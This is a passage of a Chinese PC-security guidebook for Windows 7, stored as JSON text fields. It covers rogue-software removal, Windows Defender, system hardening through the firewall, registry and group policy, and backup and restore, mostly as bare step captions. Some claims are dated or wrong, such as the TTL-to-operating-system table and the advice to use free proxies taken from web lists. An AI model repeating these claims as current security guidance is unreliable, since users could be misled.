使用“金山卫士”清理流氓软件 “金山卫士”是一款由金山网络技术有限公司推出的安全类软件，该软件提供了木马查杀、漏洞检测等功能，同样它也提供了插件清理的功能，只要清理了这些插件，系统中的流氓软件也就被清理了。 STEP01：启动“金山卫士”程序 STEP02：选择开始扫描 STEP03：正在扫描插件 STEP04：立即清理扫描出的插件 STEP05：确定关闭Explorer STEP06：选择立即重启 STEP07：成功清理插件 14.2.3 使用“Windows流氓软件清理大师”清理流氓软件 14.2.3 使用“Windows流氓软件清理大师”清理流氓软件 “Windows流氓软件清理大师”是一款完全免费的系统维护工具，它能够检测、清理已知的大多数广告软件、工具条和流氓软件。使用“Windows流氓软件清理大师”清理流氓软件比较简单，启动该软件后，软件会自动检测系统中的流氓软件，用户只需确认清理即可。 STEP01：启动流氓软件清理大师程序 STEP02：选择进行卸载 STEP03：选择卸载IE插件 STEP04：选择要删除的IE插件 STEP05：清除完毕"},
    {"text": "14.2.4 防范流氓软件的常用措施 14.2.4 防范流氓软件的常用措施 由于存在着巨大的利益价值，因此大多数流氓软件都会想尽一切办法来隐藏自己不被发现，并且不断地推陈出新，这就使得专业的查杀软件并不能彻底清除系统中存在的所有流氓软件。因此用户必须掌握防范流氓软件的常用措施，才能使自己的计算机尽量不遭受流氓软件的入侵。防范流氓软件的常见措施有：养成安全上网的意识，及时安装系统补丁和定期检查Windows注册表信息。 1.养成安全上网的意识 养成安全上网的意识是指不要轻易登录不熟悉的网站，不要随便下载不熟悉的软件，安装软件时仔细阅读软件附带的用户协议及使用说明。 （1）不要轻易登录不熟悉的网站：若用户轻易登录了不熟悉的网站，很可能会导致系统遭受网页中脚本病毒、木马的入侵，从而在系统中隐藏木马和病毒。 （2）不要随便下载不熟悉的软件：如果下载一些自己不熟悉的软件，则这些软件有可能捆绑了流氓软件，捆绑了流氓软件的正常软件是很难用肉眼察觉的。 （3）安装软件时仔细阅读软件附带的用户协议及使用说明：有些软件在安装的过程中会询问用户是否要安装流氓软件（如某网站下的3721网络实名）并且默认处于选中状态。如果用户不认真看提示信息，就会在无意中安装了流氓软件。 2.及时安装系统补丁 在计算机中安装操作系统后，用户应及时为系统安装漏洞补丁，以避免被某些流氓软件利用已知的漏洞入侵自己的计算机。由于某些流氓软件会隐藏在网页中，为了防范这些流氓软件，用户可以选择使用安全系数较高的第三方浏览器，如360浏览器、火狐浏览器、遨游浏览器等，这些浏览器都能够自动识别含有流氓软件的网页。 3.定期检查Windows注册表信息 流氓软件一旦被成功地安装在系统中，就会将一些信息写入Windows注册表，具体的位置是HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run子键。如果查看Run子键中存在一些陌生的程序键值，则很可能是流氓软件创建的，就需要删除该键值，并用专业的查杀软件扫描系统。 14.3 使用Windows Defender清除间谍软件 14.3 使用Windows Defender清除间谍软件 间谍软件最大的特点就是在用户不知情的情况下安装到系统中，即使掌握一定计算机技术的用户都可能会被间谍软件所欺骗。基于如此，用户需要使用专业的查杀软件来清除系统中的间谍软件，以确保系统和用户个人信息的安全。本节将介绍使用Windows Defender清除间谍软件的操作方法。 STEP01：单击“控制面板”命令 STEP02：选择Windows Defender STEP03：选择完全扫描 STEP04：正在扫描计算机 STEP05：提示存在间谍软件 STEP06：复查检测到的项目 STEP07：选择删除检测到的项目 STEP08：删除成功 提示：防范间谍软件 清除间谍软件可以通过Windows Defender实现，而防范间谍软件则需要用户掌握常用的措施，由于间谍软件可以说是流氓软件中的一种，因此防范间谍软件的常用措施可以采用防范流氓软件的常用措施，即养成安全上网的意识，并及时安装系统补丁。 第15章 计算机安全防护设置 第15章 计算机安全防护设置 计算机的安全直接影响着个人信息的安全，因此若要保证个人信息处于一个安全性较高的环境中，则需要提高计算机的安全，即进行计算机安全防护设置。该设置可以从3方面进行设置，即系统安全设置，注册表设置及组策略安全设置。 知识要点 ·禁用来宾账户 ·利用代理服务器隐藏IP地址 ·禁止程序在桌面上添加快捷方式 ·关闭默认共享 ·设置账户锁定策略 ·设置用户权限 第15章 计算机安全防护设置 15.1 系统安全设置 系统安全设置虽然不能保证当前操作系统处于绝对的安全状态，但是它能够在一定程度上防范黑客扫描或者入侵自己的计算机。常见的系统安全设置主要由禁用来宾账户、防止使用Ping命令探测计算机、利用代理服务器隐藏IP地址、设置离开时快速锁定桌面以及配置防火墙。 15.1.1 禁用来宾账户 在Windows操作系统中，来宾账户是指让其他人访问计算机系统的特殊账户，该账户的名称为Guest。Guest与管理员账户和标准账户不同，该账户既没有修改系统设置和安装应用程序的权限，也没有创建、修改任何文档的权限，它只具有读取计算机系统信息和文件的权限。出于防范黑客和病毒的考虑，一般情况下不推荐使用此账户，即禁用来宾账户。 STEP01：单击“控制面板”命令 STEP02：选择用户账户 STEP03：管理其他账户 STEP04：选择Guest账户 STEP05：关闭来宾账户 STEP06：成功关闭来宾账户"},
    {"text": "15.1.2 防范使用Ping命令探测计算机 15.1.2 防范使用Ping命令探测计算机 黑客在攻击目标计算机之前，都会使用Ping命令检测目标计算机是否开机，一旦黑客检测到目标计算机已开启，他就会发起入侵攻击。为了防范黑客使用Ping命令探测到自己的计算机，用户可以采用两种有效的方法。第一种是创建IP安全策略来防范使用Ping命令探测计算机；第二种就是通过修改TTL值来防范使用Ping命令探测计算机。 1.创建IP安全策略 在Windows操作系统中，Ping命令是通过ICMP协议传输来实现的。因此若要防范黑客使用Ping命令来探测本地计算机，则可以通过禁用ICMP协议来实现。在Windows 7系统中，用户可以通过创建IP安全策略的方法来禁用ICMP协议。 STEP01：单击“运行”命令 STEP02：输入mmc命令 提示：MMC命令 在Windows操作系统中，MMC命令能够打开“控制台”窗口，该窗口用于管理Windows的硬件、软件和网络组件。MMC本身不执行管理功能,但它具有添加各种系统工具的功能,可以添加管理工具、ActiveX控制、文件夹控制台任务板和IP安全策略管理等工具。 STEP03：添加/删除管理单元 STEP04：添加IP安全策略管理 STEP05：设置管理单元要管理的位置 STEP06：单击“确定”按钮 STEP07：创建IP安全策略 STEP08：单击“下一步”按钮 STEP09：输入名称和描述 STEP10：激活默认响应规则 STEP11：设置身份验证方法 STEP12：单击“完成”按钮 STEP13：添加IP安全规则 STEP14：单击“下一步”按钮 STEP15：设置此规则不指定隧道 STEP16：设置安全规则应用所有网络 STEP17：添加IP筛选器 STEP18：单击“下一步”按钮 STEP19：设置筛选器描述信息 STEP20：设置IP源地址 STEP21：设置IP目标地址 STEP22：设置IP协议类型 STEP23：单击“完成”按钮 STEP24：查看添加的IP筛选器 STEP25：选择IP筛选器 STEP26：选择添加筛选器操作 STEP27：单击“下一步”按钮 STEP28：设置名称和描述信息 STEP29：设置筛选器操作的行为 STEP30：单击“完成”按钮 STEP31：选择筛选器操作 STEP32：单击“完成”按钮 STEP33：分配创建的IP安全策略 STEP34：查看设置成功后的显示效果 提示：取消分配所创建的IP安全策略 对于创建的IP安全策略来说，分配操作就是启动该策略包含的功能，而取消分配则是关闭该策略包含的功能。取消分配所创建IP安全策略的操作比较简单：右击已分配的IP安全策略，然后在弹出的快捷菜单中单击“未分配”命令即可。 2.修改TTL值 使用Ping命令检测目标计算机时，用户可以通过TTL字段值来判断目标计算机中所安装的操作系统，因此用户可以通过批处理命令来修改TTL字段值，让黑客无法准确判断当前计算机的操作系统，从而达到防范黑客攻击自己的计算机的目的。 STEP01：新建文本文档 STEP02：双击新建文本文档图标 STEP03：输入批处理命令 在编辑区中输入关于修改TTL字段值的批处理命令。 提示：DefaultTTL=dword:000000ff命令 在STEP03中编辑的批处理命令中，DefaultTTL=dword:000000ff是用来设置系统缺省TTL字段值的，如果用户想将本地计算机操作系统所对应的TTL值改为其他操作系统的ICMP回显应答值，请修改DefaultTTL的键值，要注意它的键值类型为16进制。 若目标计算机的TTL字段值为255，则其所安装的操作系统为UNIX；若TTL字段值为64，则操作系统为Windows 7；若TTL字段值为128，则操作系统为32位Windows XP。 STEP04：保存编辑的批处理命令 STEP05：重命名文本文档 STEP06：修改文件名与扩展名 STEP07：运行BAT文件 STEP08：查看修改TTL值后的效果 在局域网中其他计算机上利用Ping命令检测已创建IP安全策略的计算机，可看见TTL值为255，即修改成功。 提示：利用注册表修改TTL字段值 修改TTL字段值除了利用批处理命令实现之外，还可以通过修改注册表来实现。利 用regedit命令打开“注册表编辑器”窗口，在左侧展开HKEY_LOCAL_MACHINE\\System\\Current ControlSet\\Services\\Tcpip\\Parameters，在右侧修改DefaultTTL的键值即可。 15.1.3 利用代理服务器隐藏IP地址 15.1.3 利用代理服务器隐藏IP地址 用户在使用IE浏览器上网或者使用QQ聊天时，可能会在不经意间暴露自己的IP地址，暴露IP地址就意味着暴露自己的计算机，因此用户需要使用代理服务器达到隐藏计算机IP地址的目的。使用代理服务器后，黑客只能扫描到代理服务器的IP地址，而无法知晓计算机真正的IP地址。 STEP01：打开含有代理服务器的网页 STEP02：记录代理服务器 在页面中显示了大量的代理服务器IP地址和端口，记录这些信息。 STEP03：启动腾讯QQ STEP04：单击“设置”按钮 STEP05：测试设置的代理服务器 STEP06：成功连接到代理服务器 STEP07：单击“确定”按钮 STEP08：选择Internet选项 STEP09：单击“局域网设置”按钮 STEP10：添加代理服务器"},
    {"text": "15.1.4 设置离开时快速锁定桌面 15.1.4 设置离开时快速锁定桌面 当用户需要离开计算机一段时间时，则可以选择在离开时快速锁定桌面，防止他人在自己离开期间随意查看计算机中的文件。 STEP01：选择锁定计算机 STEP02：锁定成功 提示：已锁定的账户需输入密码的原因 在STEP02中，界面中之所以显示输入栏，是因为当前用户账户已经被设置了登录密码，如果没有设置登录密码，即使锁定该账户，他人同样可以查看该计算机。 提示：利用快捷键快速锁定当前计算机 除了利用“锁定当前计算机”选项来实现计算机的锁定之外，用户还可以利用快捷键来快速锁定计算机。直接在键盘上按【WIN+L】组合键，便可快速锁定当前计算机。 15.1.5 配置防火墙 15.1.5 配置防火墙 所谓防火墙是指一种将内部网和公众访问网（如Internet）分开的隔离技术。防火墙是在两个网络通信时执行的一种访问控制尺度，它能允许自己“同意”的人和数据进入自己的网络，同时将自己“不同意”的人和数据拒之门外，最大限度地阻止网络中的黑客来访问自己的网络。目前常见的防火墙主要有两种，分别是Windows防火墙和第三方防火墙。 1.Windows防火墙 Windows防火墙是Windows操作系统自带的一款防火墙，它同样存在于Windows 7系统中。用户需要学会配置Windows 7防火墙，从而保障系统的安全。 STEP01：选择Windows防火墙 STEP02：打开或关闭Windows防火墙 STEP03：启用Windows防火墙 STEP04：允许程序通过Windows防火墙 STEP05：选择允许运行另一程序 STEP06：添加指定的应用程序 STEP07：成功添加指定程序 此时可看见“酷狗2012”已添加到防火墙中，单击“确定”按钮保存退出。 提示：禁止运行指定程序 若要在防火墙中禁止运行指定程序，则首先在STEP07的界面中选中要禁止的程序对应选项，然后单击“删除”按钮。 2.第三方防火墙 所谓第三方就是指不是由微软公司开发的防火墙。Internet中常见的第三方防火墙主要有金山、瑞星、卡巴斯基防火墙等，它们的功能丝毫不逊色于Windows防火墙，用户可以选择一款防火墙将其安装到Windows操作系统中，然后进行手动配置。下面以瑞星个人防火墙为例介绍第三方防火墙的配置方法。 STEP01：启动瑞星个人防火墙 STEP02：单击“设置”链接 STEP03：对外攻击拦截设置 STEP04：网络数据保护设置 STEP05：网络设置 STEP06：软件安全设置 STEP07：输入验证码 STEP08：设置网络防护 15.2 注册表安全设置 15.2 注册表安全设置 在Windows操作系统中，注册表是一个十分重要的数据库，它主要用来存储操作系统和应用程序的设置信息。注册表中的信息稍微有些改动，就会直接导致系统中某些功能无法正常使用，因此用户需要做好注册表的安全工作。 15.2.1 禁止远程修改注册表 Windows操作系统提供了远程修改注册表的功能，该功能对于一般用户来说是一个潜在的威胁，一旦该功能开启，黑客就可以利用该功能来远程修改计算机中的注册表信息，因此建议用户将该功能关闭，即禁止远程修改注册表。 STEP01：单击“运行”命令 STEP02：输入services.msc命令 STEP03：双击Remote Registry选项 STEP04：修改启动类型和服务状态 STEP05：停止Remote Registry服务 弹出对话框，提示用户正在停止Remote Registry服务。 STEP06：保存退出 STEP07：查看Remote Registry服务 提示：快速选中Remote Registry 若要在“服务”窗口中快速选中Remote Registry，则首先选中任意选项，然后逐次按【R】键，直至选中Remote Registry。 15.2.2 禁止程序在桌面上添加快捷方式 15.2.2 禁止程序在桌面上添加快捷方式 用户在Windows系统中安装应用程序时，某些程序会自动在桌面上添加对应的快捷方式。若想禁止程序在桌面上添加快捷方式，则可以通过修改注册表来实现。 STEP01：单击“运行”命令 STEP02：输入regedit命令 STEP03：单击Explorer选项 STEP04：修改link键值 STEP05：设置数值数据为0 STEP06：单击Explorer选项 STEP07：新建二进制值 STEP08：双击link键值选项 STEP09：设置其数值数据为0 STEP10：查看新增的键值项 15.2.3 禁止危险启动项 15.2.3 禁止危险启动项 在Windows系统中，启动项是指随着操作系统的启动而自动运行的一些程序。这些程序既可以是操作系统自带的程序，又可以是用户手动安装的第三方应用程序。为了保障操作系统的安全，用户需要利用注册表来禁止一些危险的启动项，即不常见的启动项。 STEP01：单击Run选项 STEP02：删除指定键值项 STEP03：确认删除所选键值项 提示：利用msconfig命令禁止危险启动项 禁止危险启动项的方法主要有两种：第一种是15.2.3节中介绍的利用注册表来实现，第二种则是利用msconfig命令来实现。具体操作为：打开“运行”对话框，A输入msconfig后按【Enter】键，打开“系统配置”窗口，B切换至“启动”选项卡下，C取消勾选要禁止启动的启动项，D然后单击“确定”按钮后重启计算机即可。"},
    {"text": "15.2.4 关闭默认共享 15.2.4 关闭默认共享 在Windows操作系统中，所有磁盘分区都是默认共享的，其目的是为了管理方便，将系统分区自动进行共享，这样可以在网络中访问本地计算机的资源。不过这些默认共享的磁盘分区只有系统管理员才能查看，这是因为在共享名后边加上了美元号$，除非别人知道这个共享，否则他是找不着的。该默认共享对于任何计算机来说都是一个潜在的安全隐患，很容易让黑客乘虚而入，因此用户可以通过注册表来关闭该默认共享。 STEP01：单击Lsa选项 STEP02：修改RestrictAnonymous选项 STEP03：修改数值数据 STEP04：单击Parameters选项 STEP05：新建DWORD值 STEP06：双击AutoShareServer键值项 STEP07：修改其数值数据 15.2.5 设置发生错误时不弹出警告对话框 15.2.5 设置发生错误时不弹出警告对话框 在Windows操作系统中，当用户出现操作错误时，可能会弹出警告对话框，大多数情况下对于用户来说这种对话框并没有选择的余地，只有选择同意。因此用户可以在注册表中设置发生错误时不弹出警告对话框。 STEP01：单击Windows选项 STEP02：选择修改ErrorMode STEP03：修改数值数据 STEP04：查看修改后的ErrorMode 提示：ErrorMode键值项不同数值数据所对应的含义 ErrorMode键值项的数值数据可以设置为0、1、2，其中0表示弹出所有的错误对话框；1表示不显示系统错误对话框，但会显示应用程序错误对话框；2表示当系统和应用程序同时发生错误时，才会弹出警告对话框。 15.3 组策略安全设置 15.3 组策略安全设置 组策略是管理员账户为用户和计算机定义并控制程序、网络资源及操作系统行为的主要工具，可以帮助系统管理员针对整个计算机或用户来设置多种配置，包括桌面配置和安全配置，例如可以设置账户锁定策略、禁止更改桌面设置、禁用“开始”菜单中的命令等。 15.3.1 设置账户锁定策略 默认情况下，用户在账户登录界面中拥有大量的输入次数，这种设置也为一些使用字典攻击的黑客提供了快速破解密码的机会，从而使用户受到损害。为了避免这种情况，用户可以在组策略中设置账户锁定策略。所谓账户锁定策略，就是指当用户忘记或不知道当前用户账户密码的情况下，如果输入了N次（其中N代表用户预先在组策略中设置的无效登录次数）错误的密码后，Windows系统会自动将登录设置为锁定状态。 STEP01：输入gpedit.msc命令 STEP02：选择账户锁定策略 STEP03：选择账户锁定阈值 STEP04：设置无效登录次数 提示：无效登录的次数设置范围 在设置账户锁定阈值属性时，无效登录的次数并非可以无限制地设置，Windows操作系统默认设置无效登录的次数设置范围为0～999（其中包括0）。当设置无效登录次数为0时，表示不锁定账户。 STEP05：查看其他项目的默认设置 STEP06：查看设置后的显示效果 提示：账户锁定时间和重置账户锁定计数器 账户锁定时间是指已被锁定的账户在自动解锁之前保持锁定状态的时间，若设置为0，则表示该账户将一直被锁定，直至管理员对其进行解除锁定；重置账户锁定计数器是指当用户登录失败之后，将无效登录次数计数器重置为0之前所需要等待的时间，如果定义了账户锁定阈值，则该时间必须小于或等于账户锁定时间。 15.3.2 设置用户权限 15.3.2 设置用户权限 当多人共用一台计算机时，用户可以使用管理员账户为计算机中的其他账户设置不同的权限级别，这样一来，其他用户在使用各自的用户账户时就不会对主要使用者保存的文件进行操作，因此用户可以在组策略中设置用户权限。 STEP01：单击用户权限分配选项 打开“本地组策略编辑器”窗口，在左侧依次展开“安全设置”＞“用户权限分配”选项。 STEP02：查看创建全局对象的属性 提示：创建全局对象 在组策略中，创建全局对象是指为指定用户或组赋予与Administrator一样的权限，只要在创建全局对象中添加指定用户或组，则它就会具有与Administrator一样的权限。 STEP03：选择添加用户或组 STEP04：输入对象名称 STEP05：查看添加的用户或组 STEP06：单击“高级”按钮 STEP07：单击“立即查找”按钮 单击“立即查找”按钮，查找当前计算机中的所有用户和组。 STEP08：选择要设置权限的用户或组 STEP09：单击“确定”按钮 STEP10：查看添加的用户或组 提示：取消指定用户账户的管理员权限 若要在创建全局对象中取消指定用户账户的管理员权限，则首先打开“创建全局对象属性”对话框，①选中待删除的用户账户或组，②然后单击“删除”按钮即可。 15.3.3 阻止更改“任务栏和「开始」菜单”设置 15.3.3 阻止更改“任务栏和「开始」菜单”设置 Windows操作系统提供了任务栏和“开始”菜单的设置，用户可以按照自己的使用习惯对其进行设置。但是为了防止他人随意篡改这些设置，用户可设定阻止更改“任务栏和「开始」菜单”设置。 STEP01：选择“开始”菜单和任务栏 STEP02：单击“编辑”命令 STEP03：启用所选设置 15.3.4 禁止访问控制面板 15.3.4 禁止访问控制面板 控制面板为用户提供了查看并操作基本系统设置和控制的功能，包括添加硬件、添加/删除软件、控制用户账户、更改辅助功能选项等。为了防止他人随意修改系统属性，用户可以设置禁止访问控制面板。 STEP01：选择控制面板 STEP02：单击“编辑”命令 STEP03：启用所选设置"},
    {"text": "第16章 系统与数据的备份与恢复 第16章 系统与数据的备份与恢复 一款操作系统无论设计了多少安全措施，也难免会遭到黑客的入侵攻击，因此为了确保系统中的数据不丢失，可以选择对这些数据进行备份操作。而操作系统的备份操作也需要做好，一旦系统出现崩溃或者无法运行，可以通过还原操作来让系统恢复正常运转。同时还需要掌握一定的数据恢复技术，便于在误删除数据后能够及时将这些数据恢复到硬盘中。 知识要点 ·利用还原点备份与还原系统 ·利用GHOST备份与还原系统 ·备份与还原驱动程序 ·备份与还原IE收藏夹信息 ·备份与还原QQ数据 ·恢复被误删除的数据 第16章 系统与数据的备份与恢复 16.1 备份与还原系统 备份与还原系统包括备份系统和还原系统两个操作，当用户在计算机中安装了操作系统后可以选择备份系统，一旦日后系统崩溃或者无法运行，便可将备份文件快速还原到计算机中，让计算机恢复至备份时的状态。常见的备份与还原操作系统的方法主要有两种：第一种是利用Windows 7系统自带的还原点进行备份与还原；第二种方法是利用GHOST进行备份与还原操作。 16.1.1 利用还原点备份与还原系统 利用还原点备份与还原操作包括创建还原点和将系统还原至指定还原点两个操作，其中创建还原点是指备份操作系统，而将系统还原至指定还原点则是指还原操作系统。 1.创建还原点 创建还原点必须确保Windows操作系统所在分区的系统还原功能处于打开状态，否则将无法完成创建操作。创建还原点的操作十分简单，这是因为创建过程都是由操作系统自动完成。 STEP01：单击“控制面板”命令 STEP02：单击“系统和安全”链接 STEP03：单击“系统”链接 提示：利用Control命令打开控制面板 除了利用“开始”菜单打开控制面板窗口外，还可以利用Control命令打开，打开“运行”对话框，输入Control后按【Enter】键即可。 STEP04：选择高级系统设置 STEP05：选择创建还原点 提示：启用系统分区的系统还原功能 若要启动操作系统所在分区的系统还原功能，则按照16.1.1节第1点中STEP01～STEP05介绍的方法打开“系统属性”对话框，①在“系统保护”选项卡下选择系统所在的分区，②单击“配置”按钮，③然后在弹出的对话框中单击选中“还原系统设置和以前版本的文件”单选按钮，④最后单击“确定”按钮保存并退出。 STEP06：输入还原点名称 STEP07：成功创建还原点 2.将系统还原至指定还原点 当系统无法正常运行时，则可以利用系统还原功能将当前系统还原至指定还原点。这样一来，系统不仅能恢复正常，而且还能保持所选还原点时的状态。 STEP01：单击“属性”命令 STEP02：选择高级系统设置 STEP03：选择系统还原 STEP04：设置选择另一还原点 STEP05：选择还原点 STEP06：确认还原点 STEP07：选择继续还原 STEP08：还原成功 16.1.2 利用GHOST备份与还原系统 16.1.2 利用GHOST备份与还原系统 GHOST是一款十分出名的系统备份/还原软件，该软件属于第三方软件，需要用户将其安装到计算机中方可正常使用。与系统自带的还原工具相比，GHOST的优势在于即使无法进入系统桌面也可以对计算机进行系统还原操作。 1.备份系统 使用GHOST备份系统是指将操作系统所在的分区制作成一个GHO镜像文件，在备份的过程中，用户需要手动设置GHO镜像文件的保存位置，建议将其放在除系统分区外的其他分区中。 STEP01：选择“一键GHOST” STEP02：选择GHOST 提示：重启与关闭计算机 在STEP02所示的界面中，如果通过方向键选中Restart选项后按【Enter】键，则表示重新启动计算机；若选中Shutdown后按【Enter】键，则表示关闭计算机。 STEP03：选择GHOST11.2 STEP04：单击OK按钮 STEP05：选择To Partition STEP06：确认所选的硬盘 STEP07：选择要备份的分区 STEP08：设置文件名与保存位置 提示：GHOST无法识别中文名称的镜像文件 由于GHOST是一款国外研发的软件，因此该软件无法识别文件名为中文的镜像文件，而且在设置镜像文件的名称时，也只能设置为英文、数字或英文和数字的组合。 STEP09：选择备份方式 STEP10：开始备份 STEP11：正在备份 STEP12：成功完成备份操作 2.还原系统 使用GHOST还原系统是指利用GHOST将创建的系统镜像文件覆盖安装到当前系统所在的分区中。该镜像文件包括注册表信息、驱动程序等资料，将其安装到当前系统所在的分区会导致该镜像文件中注册表信息、驱动程序等资料覆盖当前系统的注册表信息和驱动程序，从而达到还原系统的目的。 STEP01：选择From Image 提示：GHOST只能识别GHO镜像文件 GHOST软件只能识别后缀名为GHO的镜像文件，无法识别其他文件类型的镜像文件（如ISO镜像文件）。 STEP02：选择镜像文件 STEP03：确认备份文件中的分区信息 STEP04：选择硬盘 STEP05：选择要还原的分区 STEP06：确认开始还原 STEP07：完成还原操作"},
    {"text": "16.2 备份与还原数据 16.2 备份与还原数据 在计算机中，除了操作系统可以支持备份与还原操作外，还有一些比较重要的数据也支持备份与还原操作，如驱动程序、注册表信息、IE收藏夹信息等。这些信息对用户来说十分重要，备份这些信息的目的就是为了在这些数据丢失之后进行弥补，将损失降到最低。 16.2.1 备份与还原驱动程序 驱动程序是一种可以使计算机和硬件设备进行通信的特殊应用程序，可以说它是硬件设备的接口。操作系统只有通过这个接口，才能控制硬件设备的工作，因此当计算机安装完所有的驱动程序后，便可利用驱动精灵来备份与还原系统中的驱动程序。 1.备份驱动程序 备份驱动程序时，用户并不需要备份所有的驱动程序，可以选择只备份部分的驱动程序，如选择只备份网卡驱动程序。因为“驱动精灵”具有自动检测并下载驱动程序的功能，只要确保计算机能接入Internet，用户便能利用“驱动精灵”安装所有的驱动程序。 STEP01：选择要备份的驱动程序 STEP02：选择改变备份位置 STEP03：单击“选择目录”按钮 STEP04：选择备份位置 STEP05：确认设置的备份路径 STEP06：开始备份 STEP07：完成网卡驱动程序的备份 STEP08：查看备份的网卡驱动程序 2.还原驱动程序 当系统的网卡驱动程序无法正常运行时，此时可以使用“驱动精灵”直接将备份的网卡驱动程序还原到当前系统中，使网卡恢复正常工作。 STEP01：选择还原网卡驱动程序 STEP02：正在还原 弹出“安装驱动”界面，提示用户正在还原驱动程序，耐心等待。 STEP03：完成驱动程序的还原 16.2.2 备份与还原注册表信息 16.2.2 备份与还原注册表信息 注册表是Windows操作系统的核心，它存储和管理整个操作系统和所安装应用程序的关键数据，一旦注册表遭受破坏，则操作系统将无法正常运行。为了能够以最快的速度解决注册表破坏造成的问题，可以选择对注册表信息进行备份操作。 1.备份注册表信息 备份注册表信息可以利用注册表编辑器来实现，只需将注册表信息导出并保存为REG文件即可完成备份操作。 STEP01：单击“运行”命令 STEP02：输入regedit命令 提示：利用regedit应用程序打开“注册表编辑器”窗口 除了通过输入regedit命令打开“注册表编辑器”窗口外，还可以直接在X:\\WINDOWS\\（X为操作系统所在分区的盘符）窗口中双击regedit快捷图标，同样可以打开“注册表编辑器”窗口。 STEP03：单击“导出”命令 STEP04：设置保存位置 STEP05：设置备份范围和文件名 STEP06：查看备份的注册表文件 2.还原注册表信息 还原注册表同样在注册表编辑器中操作，只需将备份的文件导入注册表编辑器中即可完成还原操作。 STEP01：单击“导入”按钮 STEP02：选择注册表备份文件 STEP03：还原成功 提示：还原注册表信息的其他方法 除了利用“导入”命令实现注册表信息的还原之外，直接双击备份的注册表备份文件可实现快速还原。"},
    {"text": "16.2.3 备份与还原IE收藏夹信息 16.2.3 备份与还原IE收藏夹信息 IE收藏夹具有保存Web网页链接的功能，直接在IE收藏夹中单击任一网页链接就能打开对应的网页，而无需手动输入网址。由于IE浏览器是Windows操作系统自带的一款浏览器，一旦重装操作系统，IE浏览器也会重装，而重装之前IE收藏夹中的网页也会被清除。因此用户需要对IE收藏夹进行备份操作，以便必要时可将其还原到系统中。 1.备份IE收藏夹信息 备份IE收藏夹信息是指将IE收藏夹中的网页链接全部保存在一个HTM文件中，在备份过程中，用户需要手动设置备份文件的保存位置和文件名。 STEP01：启动IE浏览器 STEP02：单击“导入导出”命令 STEP03：选择导出文件 提示：利用快捷键显示菜单栏 IE浏览器默认不显示菜单栏，用户在键盘上按【Alt】键即可显示菜单栏。 STEP04：选择导出收藏夹 STEP05：选择备份整个收藏夹 提示：认识源与Cookie 在IE浏览器中，源又称为“RSS源”、“XML源”或“Web源”，它包含由网站发布的更新内容。打开网页时，IE浏览器将自动搜索源。如果当前网页有可用源，则“源”按钮会显示为 ；如果当前网页没有可用源，则“源”按钮会显示为 。 在IE浏览器中，Cookie是指是一种能够让网站服务器把少量数据储存到计算机硬盘中，并能够从计算机的硬盘中读取存储的数据的一种技术。有时也用其复数形式Cookies。该种技术能够让用户快速打开曾经浏览过的网页。 STEP06：单击“浏览”按钮 STEP07：设置保存位置和文件名 提示：将IE收藏夹信息备份文件保存在除系统分区以外的其他分区中 在设置IE收藏夹信息备份文件的保存位置时，建议将其保存在除系统分区外的其他 分区中，这是因为一旦重装操作系统，系统分区中的所有文件都可能被清除，同样包括备份的IE收藏夹信息。 STEP08：导出IE收藏夹信息 提示：手动输入保存地址路径 除了利用“浏览”按钮设置保存位置之外，用户还可以直接在文本框中输入保存地址对应的路径。 STEP09：导出成功 当界面显示“您已成功导出了这些设置”信息时，单击“完成”按钮。 STEP10：查看IE收藏夹信息备份文件 提示：查看IE收藏夹信息备份文件 IE收藏夹信息备份文件是一个HTM文件，可以说是一个网页文件。双击该文件可以直接查看其中的信息。双击“IE收藏夹备份文件”快捷图标，便可在打开的网页中看见收藏内的详细信息以及所有的网页链接，单击任一链接便可打开对应的网页。 2.还原IE收藏夹信息 当IE收藏夹中的信息出现缺失时，为了将损失降到最低，可以直接将备份的收藏夹文件还原到IE浏览器中。 STEP01：单击“导入和导出”命令 STEP02：选择从文件中导入 STEP03：选择导入收藏夹 STEP04：选择收藏夹备份文件 STEP05：确认所选的备份文件 STEP06：选择还原整个收藏夹 STEP07：完成还原 STEP08：查看导入的收藏夹信息 在菜单栏中单击“收藏夹”选项，便可查看导入的收藏夹信息。 16.2.4 备份与还原QQ聊天记录 16.2.4 备份与还原QQ聊天记录 腾讯QQ是一款国内使用频率较高的即时通信软件，因此QQ聊天记录中可能会包含不少重要信息。为了保存这些信息，用户需要手动备份QQ聊天记录，一旦QQ聊天记录丢失，便可将备份文件还原到QQ中。 1.备份QQ聊天记录 在最新版的腾讯QQ中，所有的聊天记录都保存在Msg2.0文件中，因此备份QQ聊天记录只需将该文件保存在除系统分区外的其他分区中即可。Msg2.0文件位于X:\\Users\\XXX\\Documents\\Tencent Files\\41*****34中，其中X表示操作系统所在分区的盘符，XXX表示使用腾讯QQ对应的用户账户名称，41*****34表示要备份聊天记录对应的QQ号码。 2.还原QQ聊天记录 还原QQ聊天记录的操作比较简单，只需将保存的Msg2.0文件导入腾讯QQ中即可还原所有的聊天记录。 STEP01：选择数据导入工具 STEP02：选择导入消息记录 STEP03：从指定文件导入 STEP04：选择Msg文件 STEP05：确定导入 STEP06：导入成功"},
    {"text": "16.2.5 备份与还原QQ自定义表情 16.2.5 备份与还原QQ自定义表情 有时候一张图片可能会比文字更具有表达力，因此不少用户在使用QQ聊天时，喜欢发表情。QQ自定义表情是指除QQ程序自带表情外的其他表情图片，用户可以手动将搞笑、精美的图片添加到个人QQ账户中。为了保证自己保存的自定义表情不丢失，则需要将其进行备份，以便在必要时进行还原。 1.备份QQ自定义表情 在最新版的腾讯QQ中，所有的自定义表情都保存在X:\\Users\\XXX\\Documents\\Tencent Files\\41*****34\\Image中，备份QQ自定义表情就是将Image文件夹复制并粘贴到除系统分区之外的其他分区中，然后可以为其重命名，如重命名为“自定义表情备份”，这样QQ自定义表情就备份完成了。 2.还原QQ自定义表情 还原QQ自定义表情是指将备份的自定义表情添加到QQ表情中。在还原的过程中，用户可以通过新建分组来单独放置还原的自定义表情。 STEP01：选择好友 STEP02：选择添加表情 STEP03：选择要导入的表情 STEP04：选择新建分组 提示：利用快捷键选择所有的自定义表情 在STEP03中，若要选择所有的自定义表情，则可以通过快捷键实现。在“打开”对话框中选中任一表情缩略图，然后按【Alt+A】组合键便可选中对话框中显示的所有自定义表情。 STEP05：设置分组的名称 STEP06：单击“确定”按钮 STEP07：查看导入的自定义表情 提示：在Internet中下载自定义表情 用户可以在Internet上的某些网站中下载自定义表情，如http://im.qq.com/cgi-bin/face/face/。 16.3 恢复被误删除的数据 16.3 恢复被误删除的数据 